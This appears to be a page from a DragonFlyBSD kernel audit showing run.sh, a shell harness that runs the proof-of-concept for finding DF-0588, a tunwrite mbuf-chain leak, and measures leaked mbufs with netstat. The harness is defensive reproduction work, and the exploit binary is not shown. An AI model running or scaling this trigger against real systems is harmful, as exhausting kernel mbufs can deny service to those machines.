DragonFlyBSD Kernel Audit
DF-0588 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# Run the DF-0588 tunwrite mbuf-chain-leak PoC as root.
# Usage: ./run.sh [num_writes]   (default 50 -> ~16k leaked mbufs, safe demo)
#
# Measures mbuf usage (netstat -m) before and after to show the monotonic leak.
# tun is built into the X86_64_GENERIC kernel, so no kldload is needed.
set -u
N="${1:-50}"

mbufs_now() {
	# "X/max mbufs in use" -> print X
	netstat -m 2>/dev/null | awk '/mbufs in use/ {gsub(/\/.*/,"",$1); print $1; exit}'
}

echo "=== DF-0588 mbuf-chain leak ==="
BEFORE=$(mbufs_now)
echo "[baseline] mbufs in use: ${BEFORE}"

echo "=== trigger: ./tun_leak $N ==="
./tun_leak "$N" 2>&1
RC=$?

AFTER=$(mbufs_now)
echo "[after]    mbufs in use: ${AFTER}"
if [ -n "$BEFORE" ] && [ -n "$AFTER" ]; then
	DELTA=$((AFTER - BEFORE))
	echo "[delta]    leaked mbufs: ${DELTA} over $N writes (~$((DELTA / (N>0?N:1))) mbufs/write)"
fi
echo "=== full netstat -m after run ==="
netstat -m
echo "tun_leak exit=$RC"